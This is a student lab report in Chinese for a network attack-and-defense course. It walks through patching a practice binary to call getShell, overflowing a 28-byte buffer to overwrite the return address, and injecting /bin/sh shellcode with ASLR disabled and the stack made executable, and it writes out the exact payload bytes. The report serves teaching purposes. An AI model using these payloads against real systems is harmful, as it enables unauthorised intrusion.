首页 > 其他分享 >20222303 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222303 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-09 21:23:41浏览次数:8  
标签:x90 getShell 20222303 2024 2025 地址 input shellcode 输入

1.实验内容
在本周的学习中,重新回顾了栈和堆的概念,还学习了安全漏洞的相关概念,然后聚焦在其中的缓冲区溢出漏洞上,明白了缓冲区溢出的定义及发生的原理,并了解了缓冲区溢出发展历史上的一些经典攻击案例,收获颇丰。
在本次的实验中,我掌握了反汇编与十六进制编程器相关知识,同时对NOP, JNE, JE, JMP, CMP汇编指令的机器码进行了基本的掌握,学会了如何正确修改机器指令改变程序执行流程,并且能正确构造payload进行bof攻击,提高了我对本门课程学习的热情,加深了我对本门课程相关知识的掌握。
2.实验过程
2.1直接修改程序机器指令,改变程序执行流程
首先修改终端名,在这里我修改为自己名字的拼音全写

之后通过共享文件夹将pwn1文件下载至kali中,运行可执行文件./pwn1

将pwn1文件改名,改为20222303test1,反汇编文件objdump -d 20222303test1 | more,找到main、getshell和foo

第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数发现,call 跳转到了foo函数,而根据对20222303test1文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
下面是修改过程:
vi 20222303test1 打开文件后为乱码

按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出;
反汇编objdump -d 20222303test1 | more查看机器指令;

可以看到修改成功
./20222303test1运行结果

成功获取shell,即成功调用了getShell函数
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
当程序调用时,会形成自己的栈帧,foo函数读入字符串,系统只预留了28字节的缓冲区,具有Bufferoverflow漏洞,我们可以通过向这个缓冲区输入超出长度的字符串来覆盖该返回地址,使返回地址指向getshell,达到攻击目的。
由之前反汇编结果可知,正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba。
先重新上传一个pwn1文件,命名为20222303test2
用gdb 20222303test2调试程序,确认输入字符串哪几个字符会覆盖到返回地址,过程中发现未安装gdb
使用sudo apt update和sudo apt install gdb命令安装gdb,安装完成后输入gdb,检查gdb是否安装成功

用gdb 20222303test2调试程序,输入字符串1111111122222222333333334444444412345678,输入命令 info r查看寄存器eip的值,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给20222303test2,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d

把1234换成getShell的地址0x0804847d,我们需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./20222303test2将input中的字符串作为可执行文件的输入

成功获取shell,即成功调用了getShell函数。
2.3注入Shellcode并执行
使用命令 sudo apt-get install execstack安装execstack,最终安装失败。

在尝试了其他一些方法无果后,最终决定外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,最终安装成功。
之后通过以下命令修改设置
execstack -s 20222303test3 //设置堆栈可执行
execstack -q 20222303test3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

之后构造要使用的payload,Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为20222303test3的输入:
(cat input_shellcode; cat) | ./20222303test3

新打开一个新终端,输入ps -ef | grep 20222303test3,查看20222303test3文件的进程以及进程号。

可以看到,进程号分别为91756和91798,但是91756才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb 20222303test3,来获取foo函数中returnaddress的位置。
输入命令attach 91756,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfdc;
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfdc+4=0xffffcfe0。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffcfe0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xe0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./20222303test3,将input_shellcode的输入内容作为20222303test3的输入。

成功获取shell,即成功调用了getShell函数。
2.4结合nc模拟远程攻击
安装两台虚拟机,将两台虚拟机的网路连接方式设置为桥接网卡模式。
主机1:模拟一个有漏洞的网络服务

-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入。
主机2:连接主机1并发送攻击载荷

成功获取shell,即成功调用了getShell函数,攻击成功。

3.问题及解决方案

  • 问题1:尝试多次方法,安装execstack包总是不顺利
  • 问题1解决方案:通过与同学讨论,发现不少同学和我遇到了相同的问题,最终在群策群力下发现了可以在官网下载,安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,即可安装成功。官网链接为http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
  • 问题2:在进行nc模拟远程攻击时,两台虚拟机处于不同网段无法ping通。
  • 问题2解决方案:通过上网查阅资料,发现将两台Linux虚拟机的网路连接方式都设置为桥接网卡模式即可。

4.学习感悟、思考
通过本次实验,我首先对缓冲区溢出有了更深入的认识,同时通过学习程序运行时堆栈的变化,实现了三种能获取shell的方式。此外,我也学会了如何安装kali Linux,粗略熟悉掌握了一些linux操作系统的语言语法,掌握了反汇编与十六进制编程器,能够读懂一部分汇编语言,看懂一部分程序实现具体步骤,且能够自己反编译并修改可执行文件。最后,我通过gdb,学会了如何正确构造payload进行bof攻击。在这次实验中,我在互联网中不断搜索大量资料,最终成功完成了本次实验,这对我自身的独立解决问题的能力也是一次很大的进步。
通过实验,我深刻认识到即使是一个看似简单的程序,也可能存在被攻击者利用的漏洞。这提醒我作为一名网络空间安全专业的学生,要时刻警醒自己,以在日后避免各类安全问题的发生。这次试验也使我认识到自己在计算机安全领域还有很多知识需要学习。虽然目前不懂的地方仍然有很多,但我相信通过本门课程后续的学习,我一定能不断学习到新知识,不断更新自己的知识体系,更好地应对日益复杂的安全挑战。

5.参考资料

标签:x90,getShell,20222303,2024,2025,地址,input,shellcode,输入
From: https://www.cnblogs.com/bbg0523/p/18455184

相关文章

  • 2024诺贝尔物理学奖,为什么颁给了人工智能
    瑞典皇家科学院当地时间10月8日宣布,将2024年诺贝尔物理学奖授予约翰·J·霍普菲尔德和杰弗里·E·辛顿,表彰他们在使用人工神经网络进行机器学习的基础性发现和发明。两位获奖者从20世纪80年代起就开展了与物理学相关的人工神经网络的重要工作。这让很多网友“满头问号”。诺贝尔......
  • .NET周刊【9月第4期 2024-09-22】
    国内文章.NET常见的几种项目架构模式,你知道几种?(附带使用情况投票)https://www.cnblogs.com/Can-daydayup/p/18421685文章介绍了软件项目的几种架构模式,包括三层架构、MVC、DDD、整洁架构和CQRS。这些模式通过分层职责,分别处理表示、业务逻辑和数据访问等功能,强调系统的可维护性......
  • 2024.10.09 力扣刷题 盛水最多的容器
    题目:这边是参考了B站UP主的思路进行了解答,采用双下标访问的方式进行。如果要水最多的话,一定是高的那端找低的那端,然后算出面积。如果是低的那端找高的那端,那本身下限就在自己身上,所以不从低的端固定不变。附上代码:intmaxArea(std::vector<int>&height){ if(height.empty......
  • [20241006]跟踪library cache lock library cache pin使用gdb(补充测试3).txt
    [20241006]跟踪librarycachelocklibrarycachepin使用gdb(补充测试3).txt--//补充测试产生光标已经缓存的情况下,生成新子光标的调用librarycachelocklibrarycachepin的情况。1.环境:SCOTT@book01p>@ver2==============================PORT_STRING          ......
  • [20241009]oracle timestamp with time zone数据类型的存储.txt
    [20241009]oracletimestampwithtimezone数据类型的存储.txt--//放假前遇到的问题,开发在表中定义了几个timestampwithtimezone的数据类型,及时更正对方的错误,完全没有使用这样的数据--//类型。类似的问题我以前就遇到,比如全部应用程序的表凡是varchar2数据类型都被定义为nvar......
  • 多校 A 层冲刺 NOIP2024 模拟赛 04
    多校A层冲刺NOIP2024模拟赛04T02表示法签到题记得有一道普及题是没加高精的原吧...将原数高精除变为二进制,然后记搜就好了。T子串的子串签到题注意到\(n\)很小支持\(O(n^2)\)的操作,可以直接预处理出所有\(l,r\)的个数,预处理方式可参考数颜色一题,对于相同的子串只记......
  • 多校A层冲刺NOIP2024模拟赛03
    T1.colorfu正难则反,直接枚举横行,枚举右边界,如果相同,则会对后面以及它本身统计产生\(1\)的贡献,我们直接开个桶统计一下。点击查看代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongconstintN=1000+107;intn,m;inta[N][N],cnt[N*N];intsum;......
  • 2024年江西省职业院校技能大赛高职组“数据库运行与管理“竞赛样题解析答案
    2024年江西省职业院校技能大赛高职组"数据库运行与管理"竞赛样题解析答案文章目录2024年江西省职业院校技能大赛高职组"数据库运行与管理"竞赛样题解析答案模块A:数据库理论模块B:数据库设计与运维`任务一参考答案:``任务二参考答案:`模块C:数据库查询与分析`模块C参考答案:`......
  • 2024年江西省职业院校技能大赛高职组“信息安全管理与评估”赛项样题
    2024年江西省职业院校技能大赛高职组“信息安全管理与评估”赛项样题文章目录2024年江西省职业院校技能大赛高职组“信息安全管理与评估”赛项样题第一阶段竞赛项目试题任务1:网络平台搭建(50分)任务2:网络安全设备配置与防护(250分)第二阶段竞赛项目试题任务1:操作......
  • [省选联考 2024] 魔法手杖
    一年之后再看好歹是会双log做法的84分的,虽然可能被卡常首先显然有\(x\oplusy\lex+y\)。对于一个最优的方案\(S,x\)你显然如果不影响$\oplus$部分的最值的话移走的最优的。所以我们只会将会影响$\oplus$部分最值的留在\(S\)。考虑二分答案\(mid\),判断有没有\(\ge......